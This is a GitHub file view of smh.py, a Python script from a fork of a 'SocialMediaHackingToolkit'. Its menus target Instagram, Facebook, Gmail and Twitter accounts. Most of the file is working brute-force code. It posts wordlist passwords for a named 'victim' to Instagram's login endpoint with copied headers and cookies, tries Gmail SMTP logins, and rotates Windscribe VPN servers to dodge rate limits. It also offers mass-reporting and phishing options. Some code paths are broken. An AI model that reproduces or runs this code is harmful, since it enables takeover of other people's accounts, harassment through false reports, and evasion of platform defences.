forked from rdWei/SocialMediaHackingToolkit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
smh.py
452 lines (435 loc) · 17.7 KB
/
smh.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
from src.smhtk import *
from src.user_agents import user_agents
import os
import random
import requests
import time
from requests import Session
import sys
import mechanize
import smtplib
codeList = ["TR", "US-C", "US", "US-W", "CA", "CA-W", "FR", "DE", "NL", "NO", "RO", "CH", "GB", "HK"]
choiceCode = random.choice(codeList)
option_list = []
sleep_time = 4
b = mechanize.Browser()
b.set_handle_equiv(True)
b.set_handle_gzip(True)
b.set_handle_redirect(True)
b.set_handle_referer(True)
b.set_handle_robots(False)
b._factory.is_html = True
b.addheaders = [('User-agent',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/45.0.2454101'
)]
os.system("clear")
ascii()
select_an_option()
print("["+color.GREEN+"1"+color.END+"] "+color.YELLOW+"Instagram\n"+color.END+"["+color.GREEN+"2"+color.END+"] "+color.BLUE+"Facebook"+"\n"+color.END+"["+color.GREEN+"3"+color.END+"] "+color.RED+"Gmail"+color.END+"\n"+color.END+"["+color.GREEN+"4"+color.END+"] "+color.CYAN+"Twitter"+color.END)
option = input("\n> ")
if option == "1":
option_name = "instagram"
elif option == "2":
option_name = "facebook"
elif option == "3":
option_name = "gmail"
elif option == "4":
option_name = "twitter"
option_list.append(option_name)
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "\n")
select_an_option()
def InstagramBruteforce():
print('''['''+color.GREEN+'''1'''+color.END+'''] vpn[off]
['''+color.GREEN+'''2'''+color.END+'''] vpn[on]
''')
option = input("\n> ")
if option == "1":
vpn = "False"
elif option == "2":
vpn = "True"
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
select_an_username()
victim = input("\n> @")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+victim+"\n"+color.END)
select_an_wordlist()
wl = input("\n> ")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+victim+"/wl?"+wl+"\n"+color.END)
if vpn == "False":
try:
file1 = open(wl, 'r')
Lines = file1.readlines()
count = 0
except FileNotFoundError:
print(color.RED+"ERROR 0x1: "+color.END+wl+" file not find, make sure it is in the directory.")
exit()
rs = requests.session()
for line in Lines:
try:
password = ""
pstest = ("{}".format(line.strip()))
password = pstest
url = 'https://www.instagram.com/accounts/login/ajax/'
headers = {
'accept': '*/*',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'ar,en-US;q=0.9,en;q=0.8',
'content-length': '275',
'content-type': 'application/x-www-form-urlencoded',
'cookie': 'csrftoken=DqBQgbH1p7xEAaettRA0nmApvVJTi1mR; ig_did=C3F0FA00-E82D-41C4-99E9-19345C41EEF2; mid=X8DW0gALAAEmlgpqxmIc4sSTEXE3; ig_nrcb=1',
'origin': 'https://www.instagram.com',
'referer': 'https://www.instagram.com/',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Mobile Safari/537.36',
'x-csrftoken': 'DqBQgbH1p7xEAaettRA0nmApvVJTi1mR',
'x-ig-app-id': '936619743392459',
'x-ig-www-claim': '0',
'x-instagram-ajax': 'bc3d5af829ea',
'x-requested-with': 'XMLHttpRequest'
}
data = {
'username': f'{victim}',
'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:1589682409:{password}',
'queryParams': '{}',
'optIntoOneTap': 'false'
}
r = rs.post(url, headers=headers, data=data)
if 'authenticated":true' in r.text or 'userId' in r.text:
rs.headers.update({'X-CSRFToken': r.cookies['csrftoken']})
print("")
print ("["+"+"+"]"+" PASSWORD FINDED: "+password)
exit()
else:
print("["+color.RED+"-"+color.END+"]"+color.RED+" Wrong password: "+color.END+password)
time.sleep(int(sleep_time))
except Exception:
print("["+color.RED+"-"+color.END+"]"+color.RED+" Wrong password: "+color.END+password)
time.sleep(1)
if vpn == "True":
try:
file1 = open(wl, 'r')
Lines = file1.readlines()
count = 0
except FileNotFoundError:
print(+"ERROR 0x1: "+wl+" file not found, make sure it is in the directory.")
exit()
rs = requests.session()
for line in Lines:
try:
password = ""
pstest = ("{}".format(line.strip()))
password = pstest
url = 'https://www.instagram.com/accounts/login/ajax/'
headers = {
'accept': '*/*',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'ar,en-US;q=0.9,en;q=0.8',
'content-length': '275',
'content-type': 'application/x-www-form-urlencoded',
'cookie': 'csrftoken=DqBQgbH1p7xEAaettRA0nmApvVJTi1mR; ig_did=C3F0FA00-E82D-41C4-99E9-19345C41EEF2; mid=X8DW0gALAAEmlgpqxmIc4sSTEXE3; ig_nrcb=1',
'origin': 'https://www.instagram.com',
'referer': 'https://www.instagram.com/',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Mobile Safari/537.36',
'x-csrftoken': 'DqBQgbH1p7xEAaettRA0nmApvVJTi1mR',
'x-ig-app-id': '936619743392459',
'x-ig-www-claim': '0',
'x-instagram-ajax': 'bc3d5af829ea',
'x-requested-with': 'XMLHttpRequest'
}
data = {
'username': f'{username}',
'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:1589682409:{password}',
'queryParams': '{}',
'optIntoOneTap': 'false'
}
r = rs.post(url, headers=headers, data=data)
if 'authenticated":true' in r.text or 'userId' in r.text:
rs.headers.update({'X-CSRFToken': r.cookies['csrftoken']})
print("")
print ("["+"+"+"]"+" PASSWORD FINDED "+password)
exit()
else:
print("["+color.RED+"-"+color.END+"]"+color.RED+" Wrong password: "+color.END+password)
time.sleep(int(sleep_time))
os.system("\nwindscribe connect " + choiceCode)
time.sleep(2)
except Exception:
print("["+color.RED+"-"+color.END+"]"+color.RED+" Wrong password: "+color.END+password)
time.sleep(1)
os.system("\nwindscribe connect " + choiceCode)
if vpn == "False":
try:
file1 = open(wl, 'r')
Lines = file1.readlines()
count = 0
except FileNotFoundError:
print(+"ERROR 0x1: "+wl+" file not found, make sure it is in the directory.")
exit()
rs = requests.session()
for line in Lines:
try:
password = ""
pstest = ("{}".format(line.strip()))
password = pstest
url = 'https://www.instagram.com/accounts/login/ajax/'
headers = {
'accept': '*/*',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'ar,en-US;q=0.9,en;q=0.8',
'content-length': '275',
'content-type': 'application/x-www-form-urlencoded',
'cookie': 'csrftoken=DqBQgbH1p7xEAaettRA0nmApvVJTi1mR; ig_did=C3F0FA00-E82D-41C4-99E9-19345C41EEF2; mid=X8DW0gALAAEmlgpqxmIc4sSTEXE3; ig_nrcb=1',
'origin': 'https://www.instagram.com',
'referer': 'https://www.instagram.com/',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Mobile Safari/537.36',
'x-csrftoken': 'DqBQgbH1p7xEAaettRA0nmApvVJTi1mR',
'x-ig-app-id': '936619743392459',
'x-ig-www-claim': '0',
'x-instagram-ajax': 'bc3d5af829ea',
'x-requested-with': 'XMLHttpRequest'
}
data = {
'username': f'{username}',
'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:1589682409:{password}',
'queryParams': '{}',
'optIntoOneTap': 'false'
}
r = rs.post(url, headers=headers, data=data)
if 'authenticated":true' in r.text or 'userId' in r.text:
rs.headers.update({'X-CSRFToken': r.cookies['csrftoken']})
print("")
print ("["+"+"+"]"+" PASSWORD FINDED "+password)
exit()
else:
print("["+color.RED+"-"+color.END+"]"+color.RED+" Wrong password: "+color.END+password)
time.sleep(int(sleep_time))
time.sleep(2)
except Exception:
print("["+color.RED+"-"+color.END+"]"+color.RED+" Wrong password: "+color.END+password)
time.spleep(1)
if option == "1":
InstagramChoiche()
option = input("\n> ")
if option == "1":
option_list.append("bruteforce")
if option == "2":
option_list.append("massreporter")
if option == "3":
option_list.append("phishing")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
if option == "1":
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
select_an_option()
InstagramBruteforce()
if option == "2":
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
select_an_username()
username = input("\n> @")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+username+"\n"+color.END)
select_an_amount()
amount = input("\n> ")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+username+"amount?"+amount+"\n"+color.END)
report_profile_attack(username, int(amount))
option = input("\n> ")
if option == "1":
option_list.append("bruteforce")
if option == "2":
option_list.append("massreporter")
if option == "3":
option_list.append("phishing")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
if option == "3":
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
select_an_option()
InstagramBruteforce()
if option == "3":
clear()
ascii()
GmailC()
option = input("> ")
if option == "1":
option_list.append("bruteforce")
if option == "2":
option_list.append("massreporter")
if option == "3":
option_list.append("phishing")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+"toselect"+"\n"+color.END)
select_an_option()
print('''['''+color.GREEN+'''1'''+color.END+'''] vpn[off]
['''+color.GREEN+'''2'''+color.END+'''] vpn[on]
''')
index = 10
option = input("\n> ")
print('''['''+color.GREEN+'''1'''+color.END+'''] vpn[off]
['''+color.GREEN+'''2'''+color.END+'''] vpn[on]
''')
if option == "1":
vpn = "False"
elif option == "2":
vpn = "True"
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
select_an_email()
username = input("\n> ")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+username+"\n"+color.END)
select_an_wordlist()
wl = input("\n> ")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+username+"amount?"+"noamount"+"\n"+color.END)
try:
with open(wl, 'r') as f:
Lines = f.readlines()
count = 0
except FileNotFoundError:
print(color.RED+"ERROR 0x1: "+color.END+wl+" file not find, make sure it is in the directory.")
exit()
if option == "1":
for password in Lines:
try:
session = smtplib.SMTP('smtp.gmail.com', 587) #use gmail with port
session.starttls() #enable security
session.login(username, password) #logi
print("["+color.GREEN+"-"+color.END+"]"+color.GEEN+"Password: "+color.END+password)
except Exception:
print("["+color.RED+"-"+color.END+"]"+color.RED+" Wrong password: "+color.END+password)
if vpn == "True":
os.system("\nwindscribe connect " + choiceCode)
if option == "2":
FacebookChoiche()
option = input("\n> ")
if option == "1":
option_list.append("bruteforce")
if option == "2":
option_list.append("massreporter")
if option == "3":
option_list.append("phishing")
if option == "1":
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+"toselect"+"\n"+color.END)
select_an_option()
print('''['''+color.GREEN+'''1'''+color.END+'''] vpn[off]
['''+color.GREEN+'''2'''+color.END+'''] vpn[on]
''')
index = 10
option = input("\n> ")
print('''['''+color.GREEN+'''1'''+color.END+'''] vpn[off]
['''+color.GREEN+'''2'''+color.END+'''] vpn[on]
''')
if option == "1":
vpn = "False"
elif option == "2":
vpn = "True"
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
select_an_usernamefb()
victim = input("\n> ")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+victim+"\n"+color.END)
select_an_wordlist()
wl = input("\n> ")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+victim+"/wl?"+wl+"\n"+color.END)
if vpn == "False":
try:
file1 = open(wl, 'r')
Lines = file1.readlines()
count = 0
except FileNotFoundError:
print(color.RED+"ERROR 0x1: "+color.END+wl+" file not find, make sure it is in the directory.")
exit()
for passw in Lines:
is_this_a_password(victim, index, passw)
elif vpn == "True":
try:
file1 = open(wl, 'r')
Lines = file1.readlines()
count = 0
except FileNotFoundError:
print(color.RED+"ERROR 0x1: "+color.END+wl+" file not find, make sure it is in the directory.")
exit()
for passw in Lines:
is_this_a_password(victim, index, passw)
if vpn == "True":
os.system("\nwindscribe connect " + choiceCode)
if option == "4":
TwitterCoiche()
option = input("\n> ")
if option == "1":
option_list.append("bruteforce")
if option == "2":
option_list.append("massreporter")
if option == "3":
option_list.append("phishing")
if option == "1":
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
select_an_option()
print('''['''+color.GREEN+'''1'''+color.END+'''] vpn[off]
['''+color.GREEN+'''2'''+color.END+'''] vpn[on]
''')
vpn = input("\n> ")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"\n"+color.END)
select_an_usernamefb()
victim = input("\n> ")
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+victim+"\n"+color.END)
select_an_wordlist()
wl = input("\n> ")
try:
file1 = open(wl, 'r')
Lines = file1.readlines()
except Exception:
print(color.RED+"ERROR 0x1: "+color.END+wl+" file not find, make sure it is in the directory.")
exit()
clear()
ascii()
print(color.GREEN+"/"+option_list[0]+ "/attack/"+option_list[1]+"/victim?"+victim+"/wl?"+wl+"\n"+color.END)
for password in Lines:
if vpn == "1":
twitter(password, victim)
if vpn == "2":
os.system("\nwindscribe connect " + choiceCode)
twitter(password, victim)